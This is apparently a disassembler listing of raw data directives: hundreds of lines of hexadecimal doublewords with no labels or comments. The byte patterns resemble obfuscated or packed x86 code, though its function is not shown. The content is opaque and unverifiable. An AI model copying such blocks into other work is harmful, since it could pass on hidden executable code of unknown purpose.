		dd 5, 0F4819096h, 0FEDB40Bh, 0F181F2B7h, 660BC131h, 0EE9h
		dd 15B74F00h, 35FC7027h, 88D508Ah, 0F3BB9AAh, 880h, 28D0F00h
		dd 60000000h, 12E961h, 0D17C0000h, 7DA828AFh, 0F3C1F14Ah
		dd 44EEBEF7h, 181ECB32h, 92C88166h, 0F4BE66D0h,	0E8C88B31h
		dd 0Fh,	0DAE7D9B3h, 0F581F3EBh,	0BC7A3BB7h, 66D62A9Ch
		dd 0E95EC88Bh, 0Ah, 799C010Ah, 0C0999D9Dh, 9E9161Fh, 4F000000h
		dd 0EF801AA8h, 36E26D06h, 0BE8h, 33D1B800h, 31EB50D8h
		dd 0B3BC5FFEh, 0AE959h,	22C70000h, 0B38AD662h, 0C0A8E99h
		dd 44D280F5h, 6D921BFh,	6DA8126h, 0E929FC07h, 0Fh, 47214B6Ah
		dd 0F8F5A890h, 7804201h, 0E93A3F20h, 9,	0AF9D83B3h, 0E9DBF164h
		dd 0DBBF0FE5h, 53F88B66h, 14E8h, 64001200h, 505DB220h
		dd 0ED7281E6h, 1A233587h, 0EF6586E9h, 12E855h, 0C6D30000h
		dd 0F29BF47h, 2CE2133Fh, 0BE4AA8DFh, 0B88F354Bh, 0B65A5859h
		dd 0C1CAB841h, 0F607A42h, 486h,	0FEBF6600h, 0E78161FCh
		dd 3D50082Eh, 0B913BFF8h, 0BB6636C6h, 14E9260Ah, 0F6000000h
		dd 0AE0D31B8h, 0EF755002h, 0F9F6CE65h, 0C848EA90h, 0E90E37C9h
		dd 0Dh,	0A40F882Fh, 0C86599A8h,	8EFE27Ch, 13E9BCh, 9C200000h
		dd 8A86646Eh, 15CAC3C3h, 7324397Ch, 0D6AE591Ah,	0E7F0806Eh
		dd 7E8h, 0D1A18B00h, 0E6F0EF1Ah, 68B0Fh, 8B0F0000h, 0
		dd 5850F58h, 0B9000000h, 3C968BA6h, 0B866C18Bh,	60561716h
		dd 0FF58C881h, 0CE8539Dh, 7C000000h, 6A85BF93h,	66DB989Ch
		dd 59C6A624h, 13E95E61h, 1F000000h, 2F24B5D4h, 0F8BF9014h
		dd 0F955B60Bh, 2B351FF5h, 80F815E9h, 0C68B8DD0h, 81C7B5F5h
		dd 4F596EF6h, 0D3B70F7Fh, 6635CE80h, 0B60FCAB8h, 0A0B3600Ch
		dd 14E961F9h, 86000000h, 2C3EB2F3h, 0E11EF29Bh,	0E45EA57h
		dd 5D065FC8h, 6015D25Ch, 81F28B66h, 66A321F7h, 0C380612Ah
		dd 80C28BFCh, 0BF6625F1h, 81661C42h, 0E9B587F0h, 14h, 5C6BCB35h
		dd 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0B860D992h, 0E9C68B66h
		dd 11h,	5BFB004Fh, 0D2DDBDCAh, 9C4EF80Ch, 61EADB1Ch, 0FCE8B19h
		dd 0BA66C9B7h, 11E90111h, 47000000h, 0B65BB715h, 7E651F65h
		dd 51887155h, 99D13EF1h, 0D638BF66h, 0AE9h, 0ED952A00h
		dd 8665F7A0h, 0B909BAE9h, 22C1C4EDh, 38F0F60h, 66000000h
		dd 6660D78Bh, 66D0C3B8h, 61811BBBh, 0CABF0F61h,	0B2F3BF0Fh
		dd 0DF81F5E5h, 19FAFBFh, 0F885C681h, 81665D6Bh,	0FEC41F6h
		dd 0CB8BF3B7h, 8880Fh, 81510000h, 30482BD3h, 0E7815A7Fh
		dd 4E27AE1Ah, 7E9h, 4A402000h, 56DBA8C6h, 36BB6660h, 0FE948h
		dd 39370000h, 14B4655Dh, 0B1220407h, 9DB7C7C0h,	0C28B617Bh
		dd 13E9h, 46B00000h, 0D441AB27h, 0C09C3287h, 0A35F4BB8h
		dd 55242BBAh, 0A9DF8166h, 0E181669Bh, 0C18B4EF6h, 0FE5ED281h
		dd 0D1807007h, 0BBFA8B46h, 79A491CBh, 12E860F9h, 80000000h
		dd 0C55A1688h, 688E87E0h, 4599C878h, 0FDF12EFBh, 0AAEA81ABh
		dd 5A24DF95h, 561DEBBFh, 0C2B66150h, 66D08B66h,	6660CF8Bh
		dd 62B3CB81h, 14E8h, 0E006C800h, 0FB8E78FEh, 93215FD9h
		dd 0AEC55032h, 62D77B8Ah, 8E879h, 35430000h, 4AF9E0F7h
		dd 5A5F6555h, 13E961h, 0E9F60000h, 0FD2A8D0Ah, 0CA4B8516h
		dd 84546A8Dh, 0D687F8CBh, 11E925h, 68FD0000h, 0A21A5201h
		dd 4E9BA886h, 7DE5E5DDh, 8B3F45E5h, 14E081F7h, 0E951A268h
		dd 5, 6961DAE5h, 0BE60FC61h, 0F80381Dh,	0EE8h, 79473000h
		dd 0F7E8FA66h, 0E2C83B9Dh, 0E899EA43h, 10h, 0D9893A47h
		dd 457AB6Dh, 82F49272h,	0E430309Ch, 0B6615F5Eh,	6FBA66FCh
		dd 0D08166C3h, 0BF0FA214h, 0FE8C9h, 6A240000h, 67D72605h
		dd 0B2C23DCBh, 5DD0D137h, 14E936h, 0BA220000h, 9BC6CF94h
		dd 4AFC2FBCh, 0FFB8C4FAh, 7CD8FF88h, 665F3F12h,	0E52EEA81h
		dd 11E8h, 7DB99400h, 0BBDFB591h, 6FB2AA33h, 5673206Bh
		dd 0BF0F2ACAh, 0C8805AD8h, 6E92Ah, 7390000h, 0DFB3B0D3h
		dd 0F8F805B5h, 0F9D7B70Fh, 0D94CF781h, 0AE90196h, 56000000h
		dd 36D6A6F4h, 0A815DE1Bh, 0E9E38A40h, 0Ah, 9E64818h, 0F717BCA3h
		dd 0FE8B6052h, 3880Fh, 8B660000h, 31F680C7h, 0CACF8166h
		dd 0D0B70FABh, 0AE8h, 0CA02D800h, 8B1336DEh, 5134AC90h
		dd 81665B5Bh, 80B773F7h, 66F518EEh, 247FC781h, 0FD8B70Fh
		dd 8166CBBFh, 0E98D60F0h, 0Ah, 0BE464968h, 73687FAFh, 810FC69Eh
		dd 3, 80F7BF0Fh, 94B63AE5h, 8C0F4EB1h, 5, 947691B8h, 0CBBF0F3Ch
		dd 60EE8166h, 0FA8B660Dh, 28A0Fh, 7B10000h, 5E8h, 0E36A9200h
		dd 0F48A99ACh, 0E8526059h, 10h,	9D1AEFE4h, 7F7F1C60h, 0FC9F0B8h
		dd 17BF15DFh, 6652595Eh, 11F1E081h, 73B0615Eh, 0BBCBB70Fh
		dd 4CBF5E50h, 158A0Fh, 10E90000h, 7E000000h, 0A7308903h
		dd 34DFE812h, 934C9F7h,	60B38C31h, 16830Fh, 11E90000h
		dd 3B000000h, 0EA2305E9h, 0F2861CF9h, 35E0235Bh, 83FE8D16h
		dd 0FC59B966h, 66F28B61h, 0E86387BAh, 8, 54B0DEFCh, 0F9E3CDAAh
		dd 816659FCh, 0BF3C91D9h, 2B22B3E9h, 0B52933BBh, 0DFBF0F79h
		dd 0DF8B66F8h, 80D38BF8h, 0F98B79E5h, 5820Fh, 32B80000h
		dd 0E8599D85h, 0Eh, 0D67F7D67h,	512657CDh, 48189567h, 0E96009E6h
		dd 0Dh,	33935010h, 1A1EFD62h, 0CA0B6CA6h, 0F59614Dh, 8F0FD0BFh
		dd 3, 0FF38B66h, 883h, 0F7815100h, 73CA7223h, 0B2C28059h
		dd 63C68166h, 0CAB70F16h, 0DEE88166h, 0FF48AF4h, 381h
		dd 0DF8B6600h, 8A35F680h, 6BE381C7h, 0F115AA9h,	381h, 0D08B6600h
		dd 0D3DE8166h, 8E8B2h, 531F0000h, 0A8262CFBh, 9E95ABBh
		dd 2E000000h, 28379394h, 0BCA79A00h, 0E881FC5Fh, 5E92EEE1h
		dd 296BF66h, 0DE935B7h,	65000000h, 392856D1h, 0B4908378h
		dd 0FC5EAE91h, 71BF6652h, 2DB75F23h, 0FE9h, 0AE9BC800h
		dd 0A68E000h, 716068C6h, 0B0586CADh, 0FE9h, 0F5CE6200h
		dd 6209174Eh, 56A39BEBh, 9EDFB23Ah, 4860Fh, 0BF660000h
		dd 8166249Eh, 53C734C6h, 11E85EF5h, 74000000h, 0CA232565h
		dd 0C5545175h, 53D47DBAh, 0BD1A0F5Eh, 0C318E081h, 8B5A4267h
		dd 12E8DEh, 0AB300000h,	0F8DE3428h, 6D46C620h, 0D33C4022h
		dd 0D8F28597h, 2820Fh, 5B560000h, 0FD38B59h, 2088h, 0EE800h
		dd 0A74F0000h, 50D2791Bh, 0C8BFA025h, 0E328D0D6h, 7E9h
		dd 34CC2B00h, 93D90A2h,	0FE85Bh, 55900000h, 92C84BF3h
		dd 64EF0EA2h, 0C8790131h, 0C6B70FC0h, 0C68B665Eh, 6700C381h
		dd 0B2B11883h, 10E9h, 739BDB00h, 5F44D163h, 0D3BF7162h
		dd 0D0ACAC28h, 0F38BF9AEh, 66C2BF0Fh, 0D081F28Bh, 1986587Ah
		dd 0B966C68Bh, 0BB666AF7h, 8B666D93h, 0AE953D7h, 97000000h
		dd 0FD928577h, 28A0F4Eh, 43B85894h, 6065831Eh, 0B75FBB66h
		dd 12E961h, 0F43D0000h,	9B258D47h, 0E7C19DD5h, 3994BC32h
		dd 8F4104Ch, 0D7E680F9h, 6C281FCh, 8B0737FBh, 0DABF0FD0h
		dd 8E860h, 0EB870000h, 548CC48Eh, 0BE904D6h, 0D5000000h
		dd 9E3B5BEAh, 0D4BD8B9Eh, 0BB5E2113h, 0BEF7DD5h, 5E961h
		dd 0D0E0000h, 0F731135h, 687h, 1ACF8100h, 0F46290Ah, 0B8Dh
		dd 5830F00h, 66000000h,	7289F181h, 0CE8F8h, 8DB70000h
		dd 0D885A515h, 11222462h, 6060F042h, 9E861h, 0D6E50000h
		dd 292D26ABh, 596894ADh, 6CBF5E61h, 0E91ACE86h,	9, 0BBD0DFA4h
		dd 1B9F04E2h, 0F08166F1h, 8B564099h, 0EE95AD3h,	0BC000000h
		dd 6CD588D5h, 825A1560h, 0B67AF512h, 12E926h, 2A890000h
		dd 0D736DD1h, 3F244548h, 0B19E241Eh, 7735C364h,	0AE9h
		dd 0A3D62D00h, 54EDC163h, 51371131h, 4BC98160h,	0F90D9C5Ah
		dd 8F0F5E61h, 1, 6E9F9h, 0E3100000h, 806DCC12h,	0BC58C181h
		dd 0F56285Ch, 0E85FCEB7h, 7, 6022CD03h,	0E8B578ABh, 0Bh
		dd 0A978AFE1h, 1D93FA93h, 0FBFD2AEh, 5E58CEB7h,	10E9h
		dd 27A6F700h, 26FB7DCBh, 0DB50E87Dh, 0A8461B3Eh, 11BE665Bh
		dd 68E0FAAh, 0F000000h,	89h, 9E800h, 13700000h,	0BBA32E1Dh
		dd 0E9766037h, 0Ah, 0EC7D42ECh,	0F3CBC1Ah, 0E95BDAA8h
		dd 9, 2F16C7A9h, 0DBCAC1B6h, 12E95388h,	0E2000000h, 0B7B45EB6h
		dd 0DC31B9E0h, 88306410h, 3288BC26h, 80F55BC7h,	830F85C3h
		dd 1Ch,	14E8h, 0A63A2200h, 52496C0Ch, 721CA512h, 0A00E6D7Ah
		dd 0A4EAD44Eh, 5A0EB665h, 0B960D38Ah, 27A60B34h, 820FF561h
		dd 0Ch,	6820Fh,	840F0000h, 0
		dd 0E9C3C080h, 0Eh, 8991E91Fh, 77A38A66h, 856DBB21h, 0AE9E1D0h
		dd 1F000000h, 0AB09475h, 2B84343Eh, 0FAD7803Eh,	14E9h
		dd 4B4D8D00h, 36CF0412h, 0C7D40112h, 94E8F9Bh, 0E32D105Bh
		dd 0DE80FC99h, 8B66FC6Bh, 0E9D98BC1h, 0Ah, 68672E19h, 0AA4FC60Bh
		dd 0BF66BDF6h, 0EE860BCh, 9F000000h, 3DFB2236h,	55036A32h
		dd 0BF692764h, 5F24B01Bh, 0FFE38160h, 0F31123Bh, 583h
		dd 0DD77BA00h, 0F6131F6h, 0C85h, 6830F00h, 0F000000h, 8Ch
		dd 0C7C68000h, 0BFD1BF0Fh, 59AE2B21h, 8AFBB70Fh, 0D68B66F7h
		dd 82B4C28Bh, 6F7DBA66h, 60CA8B66h, 0FC78166h, 8161F823h
		dd 74BFDCF2h, 74B96628h, 0FB8B660Fh, 1F880Fh, 14E80000h
		dd 0BB000000h, 5DDDB6A3h, 48C48A61h, 469EF312h,	8FB456F5h
		dd 0B97A5041h, 3C037FAAh, 0A0E3805Eh, 8166F38Bh, 0F46F7C8h
		dd 18Fh, 8A51F800h, 14E95EFAh, 2D000000h, 8E07AEB8h, 0D52F4BE8h
		dd 0E2CA339h, 936BA091h, 6647E7BCh, 8B6CC5B8h, 98D0FC6h
		dd 0F000000h, 38Ch, 26E98000h, 0F77D24B9h, 80F18A4Dh, 81505DD2h
		dd 59B8F2D1h, 8B665939h, 38EF81CEh, 0F1E667Fh, 2081h, 0DE800h
		dd 9B7A0000h, 77303930h, 72936124h, 0E8F27677h,	7, 2B0FC7Dh
		dd 59684932h, 0C0BF0F5Ah, 80D3B70Fh, 8166D9D7h,	810123D6h
		dd 49A8B1DAh, 0FD08B43h, 8Eh, 227BBE00h, 0D78051DCh, 8B0F6095h
		dd 0
		dd 8061D8B0h, 5E920E0h,	6F000000h, 0B615E489h, 0B4C18166h
		dd 0C0BF6652h, 665760BEh, 0F5ED78Bh, 1580h, 10E900h, 1AD20000h
		dd 6577F722h, 4B88BB06h, 3C5F7E8Fh, 0B96198C0h,	300A3E3Fh
		dd 0D78BD48Ah, 0CE9h, 0E6381700h, 0C674F779h, 0FD14BAA2h
		dd 0E08166D0h, 8A0F7343h, 4, 0E140B866h, 0B63277BEh, 2FF68014h
		dd 9E9h, 0E7183A00h, 0AF7510D3h, 66F9870Ch, 0F787DF81h
		dd 0ACB7FE8Bh, 0B3C38B66h, 81A1B3CFh, 72DF35D9h, 0E9C78B3Ch
		dd 5, 59F85D8Ah, 0CE87Ch, 264C0000h, 0FED267C8h, 9689617Ah
		dd 8F0FC6FFh, 0
		dd 0D281665Ah, 0DF814475h, 6078CFA6h, 11299CBEh, 7E947h
		dd 809C0000h, 4C526BD1h, 0DE9E3h, 5B410000h, 0DC8896A8h
		dd 2771FAD9h, 669C64ECh, 0E9C7BEBEh, 13h, 368CBE25h, 5A531001h
		dd 6574ACD0h, 75CA2325h, 66C55451h, 8FA6C781h, 6C7642BFh
		dd 0C820F61h, 0F000000h, 68Ch, 810F00h,	80000000h, 3EB9C3C7h
		dd 0E848E541h, 14h, 205E8AA3h, 790EE4ACh, 4103C8Fh, 4D4FFF55h
		dd 52BCF085h, 5B9BC280h, 10E9h,	0D6E0AE00h, 7A053678h
		dd 0FCD1E26h, 211EB213h, 6660511Ch, 685DEA81h, 5A1ACB81h
		dd 5B611DAEh, 10870Fh, 0BE90000h, 1C000000h, 0F2B1E4F5h
		dd 8028B76Ch, 9E9DDEDh,	3C000000h, 0D02ADD7h, 61BF4F81h
		dd 66D2BF0Fh, 3DBEF381h, 8EB1D08Bh, 3AC2BABFh, 0D3BF0F3Ah
		dd 60D38166h, 13BB6697h, 66D78BE1h, 7B6AC181h, 80F6E680h
		dd 8BF833C9h, 66C88BD1h, 14E9F18Bh, 0B3000000h,	293DF0ECh
		dd 9ED0FC1Dh, 0BF5E0385h, 72997FA6h, 0F9C36ED5h, 3A0BEF9h
		dd 0E781235Fh, 5B105BD6h, 81D78B60h, 0B55FFFCBh, 0F38B6114h
		dd 668DCE80h, 0BA66D78Bh, 11E93262h, 71000000h,	74D68431h
		dd 0FA271F17h, 83B9A2BFh, 0B78B4823h, 10E8h, 0E0FD6400h
		dd 0F1E8A44Fh, 730BE397h, 50FCF53h, 8B5EF8C9h, 0D1E081F1h
		dd 0F54F157h, 683h, 62CB8100h, 0E96DD8EBh, 7, 5054464Fh
		dd 0F032B17h, 0A80h, 4870F00h, 66000000h, 81FCF2BBh, 0CFEE94C3h
		dd 0C68B6607h, 8BD6BF0Fh, 0B5BF66CAh, 5E98Dh, 36B00000h
		dd 8BB237CDh, 816660C3h, 66190DE7h, 0BF61FB8Bh,	0B2F61CBh
		dd 11E956FCh, 0E1000000h, 0C7D24675h, 0C270CD39h, 0F91DD4A7h
		dd 95B9BCEDh, 0FBB70F58h, 8AD68B66h, 0FE9D1h, 6F30000h
		dd 0AD381A9h, 0BC1FA6DFh, 68BF00F3h, 0F6060B3h,	6661D8B7h
		dd 61C9FBBFh, 0C15D17BAh, 32F18158h, 0F92A6C9Ah, 28F0Fh
		dd 0D18B0000h, 0DC8AD68Bh, 0BB66D38Bh, 0C8801721h, 0EE967h
		dd 0DC60000h, 2D44AFFDh, 0C2AF0B4Fh, 0FA7384BCh, 6E9h
		dd 533F4F00h, 0E9904B9Bh, 14h, 49A6F1E9h, 553F41C4h, 495006B8h
		dd 0B889FBDEh, 0DEE47CCAh, 6E9E68Ah, 88000000h,	0F7434571h
		dd 8E88Eh, 0A0610000h, 975C901Bh, 5FF570A4h, 800F38B4h
		dd 0
		dd 3B7E89BEh, 0E8805270h, 10E95E6Bh, 91000000h,	0BB62790Bh
		dd 0EC987754h, 28E3C667h, 51DEA71Ch, 2870Fh, 5E530000h
		dd 2FE2805Eh, 0B3735CB9h, 49FCB83Ah, 800F78ECh,	3, 0F8C38B66h
		dd 0AE9h, 96EFB00h, 4FC1B5BBh, 0B8F299FFh, 0CD46AAFh, 13E9h
		dd 0C6ACDA00h, 5D3937AAh, 714B465h, 0C0B12204h,	7B9DB7C7h
		dd 8041C480h, 61B474C7h, 5E9h, 0AD1E8600h, 830F0CC3h, 1Ah
		dd 14800Fh, 0FE90000h, 0B000000h, 87BEEE18h, 1E5F50CCh
		dd 88631CC4h, 5E8D463h,	80000000h, 0A50460F5h, 665B5B57h
		dd 0E8B2CFB8h, 12h, 0E7135270h,	0A6C600A4h, 8E0B9040h
		dd 25C7CE24h, 5E9F34Dh,	9F000000h, 7E340857h, 0FEBF0F58h
		dd 0FD8B70Fh, 380h, 0F6BF0F00h,	0E8F5FA8Bh, 0Fh, 826F7347h
		dd 348DC415h, 36D7FF2Dh, 576BBEEAh, 8E9h, 0A093EF00h, 2298ED1Dh
		dd 0E85A5F7Dh, 12h, 0FBEDBE14h,	7C4AB636h, 2F93EC64h, 3764654Dh
		dd 0EBE6943h, 5B286FABh, 13E8h,	32227700h, 34B5E429h, 198CD795h
		dd 0DB3B86C7h, 601D4FBh, 0E6333ABEh, 880F5867h,	2, 6E9DE8Bh
		dd 0D1000000h, 0B3A39FAh, 0F2BF0F68h, 0F9C18B66h, 0A901F181h
		dd 0D7812680h, 5521D66h, 2344C781h, 84BE5B1Ch, 0B8316683h
		dd 56B6776Ah, 5FF68166h, 24F48060h, 0E9F18B66h,	5, 7D81ABE7h
		dd 0E4806069h, 3BBF6654h, 0CB8B6101h, 1536D681h, 81661228h
		dd 5614CDCAh, 5F62DD80h, 0DEB1D78Bh, 0E9DFB70Fh, 0Ch, 149489BFh
		dd 0AE981927h, 8FAEF0A7h, 0EE8h, 72568B00h, 6B162BDCh
		dd 526033F9h, 80D52663h, 0BB59BEC6h, 6BB046ACh,	50C7BF0Fh
		dd 14E85AF5h, 0DD000000h, 9AC5744Ch, 5E68C42Ah,	880AA2B6h
		dd 15870D80h, 0FEDF377h, 0E95ED2BFh, 0Bh, 0D92F9F38h, 40FF405Bh
		dd 0F5C1933h, 1589h, 10E900h, 2EE80000h, 0DAAFB380h, 637247A3h
		dd 699B9906h, 0E9F598EBh, 0Ah, 0C59C4DC4h, 8161C232h, 8166E85Bh
		dd 8A64AEEEh, 0B6C281D8h, 511DBA3Ch, 28C0Fh, 0CA8B0000h
		dd 0C8B70F58h, 0FE85F50h, 0C000000h, 0F7DBE790h, 0C3AB99B6h
		dd 2150EEB2h, 8E0F249Eh, 5, 15E88166h, 0D5805F97h, 7BEA80F8h
		dd 4840Fh, 0BF660000h, 13E81BE5h, 7B000000h, 5E97867Bh
		dd 16396EABh, 4C049919h, 0D2E2F1EDh, 5AF97C2Bh,	0F53ED80h
		dd 489h, 0D5BE6600h, 6681B422h,	8B0FCA8Bh, 18h,	13E9h
		dd 1E8300h, 0DA761F0h, 374063D4h, 0A58143CFh, 4ADD949h
		dd 0E91ED580h, 6, 5C901BA0h, 0BA66A497h, 0E852B6B8h, 0Fh
		dd 706786CBh, 0D2B5D2BCh, 47EFE794h, 0F0F5B5Eh,	85h, 0BA5A5F00h
		dd 125429BFh, 69D88166h, 5800FF5h, 66000000h, 633CDA81h
		dd 0F28B6051h, 5F615EB7h, 0DBBB8B6h, 66702BB5h,	81B5DDBBh
		dd 41DD92C0h, 0D88AF546h, 4103BA66h, 14E9h, 4309000h, 0E1D66B75h
		dd 595F011Fh, 4D80C8B9h, 0B57EC520h, 66FE8B96h,	0B872B2BFh
		dd 36A3818Eh, 5AF18B50h, 66ACD580h, 39D6C081h, 27FFC381h
		dd 0D1814FE3h, 26B23597h, 2285B966h, 60D8BF0Fh,	0ED8060F5h
		dd 10E8ACh, 45E90000h, 8E3C2D0Bh, 3E9A7157h, 0FDCC8244h
		dd 615BBB58h, 0C7B5BF61h, 0F6024B7h, 488h, 8DB86600h, 10E961C0h
		dd 0BE000000h, 3972F59Ah, 0FED82102h, 6B708C20h, 0E9F6F2C3h
		dd 7, 2D9F0681h, 0FC62E548h, 920A14BBh,	0ECE38144h, 0E851B635h
		dd 5, 46A6A4FDh, 0D9B70F4Dh, 870F59h, 0E8000000h, 0Eh
		dd 3AE6EBBFh, 0F3355722h, 9666EDABh, 0D081898Eh, 60554FF7h
		dd 0D68B6659h, 80C28B66h, 0F5073E7h, 28Ch, 5FF08B00h, 0B270BFF5h
		dd 6CBE6167h, 603A254Fh, 0F78B66F9h, 0DFB1F561h, 53D78B66h
		dd 11E8h, 980DC300h, 0AD49F142h, 47248D34h, 0ED1A9F7Dh
		dd 0EE84A9Fh, 9F000000h, 5EE0A6E6h, 0E05277BEh,	0A575664Ah
		dd 58595E25h, 820FCA8Bh, 15h, 10E9h, 0DABCB800h, 5F9C3FB2h
		dd 0EA97F28Ah, 5B85A605h, 19830F6Ch, 0E9000000h, 14h, 0C2D4A6D2h
		dd 0CC8A7923h, 0FE0F62C5h, 0C2D223ADh, 2DEF8D41h, 4890Fh
		dd 50520000h, 13E95858h, 7B000000h, 0C81E3BDBh,	0AD6AFC4Fh
		dd 0B35EAF97h, 931E142Dh, 0BF0F32E1h, 0D7B70FF1h, 3840Fh
		dd 8B660000h, 8B6660FAh, 28F0FCEh, 0B3000000h, 0A2B66187h
		dd 0E8C7BF0Fh, 0Bh, 801FE1Bh, 9AAACB8Eh, 5B4E4BB9h, 0CE9h
		dd 8361F400h, 9CACB84Bh, 6DB2103Ah, 0F9AABE16h,	13E90407h
		dd 0F2000000h, 0FC50B333h, 8D709E15h, 0D089628h, 3F2AF7FFh
		dd 5257EFC4h, 8E9h, 72452600h, 19BDEEE9h, 0F85A59F6h, 8A0FD98Bh
		dd 5, 4B14A8BBh, 128F0F35h, 0E9000000h,	0Dh, 0F74C069Ch
		dd 0F133A71h, 0D1555E79h, 0C78166E6h, 0EE8A5480h, 0B6B4D281h
		dd 0CE8B7DC7h, 28D0Fh, 12B60000h, 0FABF0F60h, 6661D48Ah
		dd 1B4BF181h, 91F5E381h, 0D08B3615h, 0E902F080h, 0Fh, 0EE1F0848h
		dd 0D7B8ECDBh, 47783D39h, 0F9FEA71h, 8B66DBBFh,	8850FD0h
		dd 0F000000h, 282h, 506CB300h, 880F5EF9h, 3, 8BD08B66h
		dd 1EA81D6h, 800468D0h,	0EBB799E2h, 26E38160h, 660A09D5h
		dd 6139DFBBh, 0DE9h, 702DF700h,	49E80C62h, 0FA26DC6h, 0D781E73Eh
		dd 67EEA4F0h, 7E9h, 0DE2EDE00h,	6C2DFBB2h, 6E9AE181h, 0BF66344Bh
		dd 8B66F7C5h, 0A5DF80C8h, 3712BE66h, 6E9h, 34AD4900h, 8A47248Dh
		dd 0FEB70FD9h, 5850Fh, 81660000h, 0F5A1D0E2h, 0EFC78060h
		dd 880F60h, 0F000000h, 82h, 0F616100h, 8Ch, 840F6000h
		dd 5, 0C85E29B8h, 6160534Fh, 0EA80615Bh, 0DE921h, 39E10000h
		dd 0B08280D7h, 0B282BA68h, 8A3107F7h, 2DB9F8E3h, 605EE91Eh
		dd 6E9h, 0BB85C600h, 66F9C441h,	61E7DABEh, 0CE8h, 0CCAEAF00h
		dd 6472CE29h, 8E1C98Ah,	58DE8BEEh, 1EE6F781h, 6660490Fh
		dd 71ACCB81h, 17A11BBBh, 8160610Eh, 0C3EBA1C3h,	0BFBE5629h
		dd 583D2A8Ah, 0B8A0F61h, 0E9000000h, 6,	4AC833C1h, 5756605Eh
		dd 60D4BA66h, 0E4805F5Bh, 38DE8036h, 0EE9h, 11F4F700h
		dd 64C8FDBCh, 230FE68h,	813677B2h, 52D528F7h, 0E9DF8B3Dh
		dd 0Ch,	0E6CE558Dh, 648B8A7h, 0B8502F60h, 81D78BF9h, 124A71DEh
		dd 13E80Fh, 76A0000h, 54577B0Ah, 187898F3h, 96095395h
		dd 371A097Fh, 6E829h, 0B8560000h, 1F092A91h, 5A4AEC80h
		dd 0F8BF0F59h, 13E9h, 3CEF5600h, 861D3B70h, 0FDC04751h
		dd 4D46A6A4h, 0C6AD516h, 0FE9A6B5h, 78000000h, 0F04E443Ah
		dd 17454D8Fh, 9B2993C6h, 65B3BFD9h, 0AEFD081h, 0D181511Eh
		dd 2150157Fh, 870F5250h, 0
		dd 8C0F5A58h, 2, 0E860DF8Bh, 7,	5169B1DDh, 66AA53E0h, 16C7F081h
		dd 0B966615Eh, 0F6000A3h, 382h,	0F08B6600h, 4F0B06B8h
		dd 8F0F611Dh, 5, 0D7B70F56h, 10E95Ah, 62510000h, 1E37D923h
		dd 0FF8A4AACh, 5D08C6AAh, 81661D7Eh, 66C355C6h,	7BBC281h
		dd 0FF1B70Fh, 889h, 8B666000h, 0C3B70FD3h, 84B96661h, 0CFBF0F41h
		dd 10E953h, 63200000h, 0F5A719ACh, 628587FDh, 6C35964Fh
		dd 0E95AE8C0h, 0Ch, 601D8558h, 0AE83AE9Ch, 0BBD29258h
		dd 0F7D98166h, 0FF9FCB8h, 584h,	0EF816600h, 0BF661B64h
		dd 13BF6157h, 0F505E359h, 0A3F68166h, 94B96692h, 0D88B66CBh
		dd 5E9h, 0DEA50400h, 0B70F5EFFh, 0DBBF0FFBh, 5BEAB756h
		dd 0E6816656h, 0E85E6EADh, 9, 44FACA86h, 0E090CF8Eh, 0C7BF0F98h
		dd 14E95Bh, 57730000h, 69634BBCh, 0FE41F5E3h, 86D014EFh
		dd 0F4EE2E6Eh, 6CBB7E3Eh, 807C5FF0h, 816671EAh,	0E977ADC8h
		dd 6, 29782F58h, 10E81842h, 0D6000000h,	31263751h, 7DDBE553h
		dd 8374E24Bh, 56A5B9ACh, 0AE8h,	93AA9A00h, 908B2CDh, 5B930F4Dh
		dd 0F08B5858h, 3880BF66h, 0BBA0DA80h, 4656A3C9h, 66A2E180h
		dd 0E86197BAh, 9, 7C052862h, 0FF35BB89h, 3830F6Fh, 66000000h
		dd 665ED08Bh, 53C982BEh, 8E85Eh, 4DF40000h, 0DE68444Ch
		dd 0B1605CC4h, 0C88B6614h, 57B05F61h, 66F9BF0Fh, 57B8CE8Bh
		dd 525525B4h, 48F0Fh, 0B8660000h, 815B0CA5h, 0D20243CBh
		dd 0D78B665Ah, 0B86645B3h, 800F6BFAh, 3, 0FD0BF0Fh, 0B70FFEBFh
		dd 0F88B66D3h, 0B9D38166h, 81666042h, 0F3033E2h, 5061F1BFh
		dd 0F959C18Bh, 870F14B3h, 2, 0F601FB2h,	8Eh, 0F88B6600h
		dd 9D38161h, 0E856E237h, 0Bh, 9E634A77h, 0E8F1D336h, 0E92629B4h
		dd 8, 79B0F9D6h, 0C112F6C9h, 0EB81665Eh, 66533B8Ch, 806AD981h
		dd 0FCB46058h, 188C0Fh,	12E80000h, 0FC000000h, 3B5ADF0h
		dd 1909CC8Eh, 6B043E5Ah, 37227A7h, 0F9615B1Dh, 10E9A9B3h
		dd 96000000h, 51FC2CD9h, 25624BFDh, 0B029467Ah,	5325CFC9h
		dd 0EE8h, 0A5746C00h, 10336CEh,	40BF685Bh, 582144F3h, 32E1815Ah
		dd 665282DEh, 0B425CB81h, 0F0816651h, 8A5AEFDCh, 7BBE66EAh
		dd 0FD68B8Ch, 81h, 0D6815000h, 77EA26ACh, 0FAED805Bh, 57C1BF0Fh
		dd 3778B85Eh, 9CB36D57h, 75EA8166h, 21EE810Bh, 0E909F4A4h
		dd 0Bh,	5F59ED84h, 0E15D5DA1h, 0E9AFE7D4h, 11h,	0D6047B61h
		dd 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 7E904h, 0D22F0000h
		dd 37DB2776h, 850F5300h, 2, 605AD98Bh, 73EA80FCh, 0B72FBA61h
		dd 0BF602123h, 234FFF55h, 6699B561h, 51915AB8h,	5F89B456h
		dd 8B66F959h, 0CE8166F7h, 0EE92A46h, 2A000000h,	0E009A541h
		dd 9281069Bh, 0DC943161h, 13E9A5h, 0D5C20000h, 925A457Eh
		dd 23C56F2Ch, 92B9B32Ah, 948E189h, 8060608Dh, 8A0F3DE7h
		dd 0
		dd 0F18B6661h, 0FE861h,	42A0000h, 0FC04C927h, 791A93C9h
		dd 9965E033h, 58AEB4B8h, 0AE9h,	886AC900h, 4C995160h, 0FE8AB70h
		dd 286h, 60F18B00h, 81D38B66h, 364A92D0h, 66F56141h, 0BF0FC38Bh
		dd 0CB8B66F2h, 11E9h, 4DEEF900h, 4EA3132Eh, 0D88652D5h
		dd 9F5D9B2Dh, 8B0FB13Ah, 1, 0F28166F9h,	7E9410Bh, 3E000000h
		dd 7FD12C9Ch, 5F5793DAh, 9AD38166h, 3DEA805Ch, 5E9FCh
		dd 6EF0000h, 8136E26Dh,	0ABBE2BE0h, 0DFBF0F76h,	58B0Fh
